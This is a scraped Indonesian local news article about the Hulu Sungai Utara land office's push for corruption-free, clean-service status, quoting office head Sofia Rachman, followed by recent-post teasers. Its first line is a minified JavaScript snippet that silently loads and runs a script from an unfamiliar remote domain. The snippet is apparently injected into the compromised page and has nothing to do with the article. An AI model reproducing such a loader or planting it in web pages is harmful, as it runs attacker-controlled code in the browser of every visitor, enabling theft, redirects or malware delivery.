(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Kantor Pertanahan HSU Janji Perbaiki Pelayanan


KANALKALIMANTAN.COM, AMUNTAI – Kantor Pertanahan Agraria Tata Ruang Badan Pertanahan Nasional (ATR/BPN) Kabupaten Hulu Sungai Utara (HSU) melakukan internalisasi pembangunan zona integritas menuju Wilayah Bebas Korupsi (WBK) dan Wilayah Birokrasi Bersih dan Melayani (WBBM).

Kepala Kantor Pertanahan ATR/BPN Kabupaten HSU, Sofia Rachman mengatakan, program ini untuk mewujudkan pembangunan zona integritas WBK dan WBBM diperlukan komitmen bersama dari semua pihak dimulai dari Kepala Kantor hingga para jajaran di bawah.

“Saya mengharapkan kepada teman-teman untuk memberikan pelayanan terbaik kepada warga Kabupaten HSU,” kata Sofia Rachman, saat menggelar kegiatan di aula Hotel Minosa Resort Amuntai, Selasa (23/8/2022).

Ia mengingatkan kepada seluruh jajarannya untuk bekerja transparan dan memiliki akuntabilitas dan kualitas kinerja yang semakin baik, sehingga pelayanan terhadap publik semakin optimal.

 

 

Baca juga: Hilangkan Jejak Digital 3 Grup WhatsApp Brigadir J Dihapus, HP Para Ajudan Diganti

“Sekarang tidak ada lagi istilahnya privilage bagi kepala kantor maupun petugas pertanahan dalam melaksana tugas, sekarang paradigmanya pelayanan kepada masyarakat,” tegasnya.

Dirinya menambahkan, tolak ukur kerberhasilan zona integritas adalah tidak ada lagi gratifikasi dan korupsi. Hal itu dapat terwujud dengan adanya komitmen bersama.

Kantor Pertanahan ATR/BPN Kabupaten HSU internalisasi pembangunan zona integritas menuju Wilayah Bebas Korupsi (WBK) dan Wilayah Birokrasi Bersih dan Melayani (WBBM). Foto: dew

“Kita bekerja sesuai dengan aturan yang telah diberikan oleh pusat, sehingga produk kita dapat dihargai baik dari sisi hukum maupun penghargaan dari masyarakat,” kata Kepala Kantor ATR/BPN HSU.

Adapun kendala yang masih banyak terjadi terkait permasalahan pertanahan di Hulu Sungai Utara adalah kurangnya kesadaran masyarakat akan pentingnya sertifikat hak atas tanah. Masih banyak yang beranggapan di masyarakat sulitnya mengurus sertifikat tanah.

“Ini yang coba kita harus arahkan kepada masyarakat, agar mereka mendaftarkan tanah-tanah mereka di Kantor Pertanahan Kabupaten HSU,” pungkasnya.

Kegiatan dihadiri Kepala Kantor Wilayah BPN Provinsi Kalsel Alen Saputra SH MKn dan Ketua Pengadilan Negeri Amuntai, Silfi Yanti Zulfia. (Kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Risa

Recent Posts

Hattrick! Dirut PLN Darmawan Prasodjo Dinobatkan CEO of The Year 2024

KANALKALIMANTAN.COM, JAKARTA - Direktur Utama PT PLN (Persero) Darmawan Prasodjo kembali dinobatkan sebagai CEO of… Read More

11 menit ago

BRI Permudah Investasi dengan Fitur Tabungan Emas Digital di BRImo

KANALKALIMANTAN.COM - Maraknya ketidakpastian ekonomi global, masyarakat dituntut untuk jeli mencari alternatif investasi yang mampu… Read More

3 jam ago

Hadir Perdana di Banjarbaru, Generasi Happy Tri Ajak Gen Z Bikin Kreasi

KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More

15 jam ago

Dari Banua Creative Festival, Kalsel Incar Tuan Rumah Ekrafnas 2025

KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More

16 jam ago

UMK Banjarmasin Naik Menjadi Rp3,59 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More

16 jam ago

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

23 jam ago

This website uses cookies.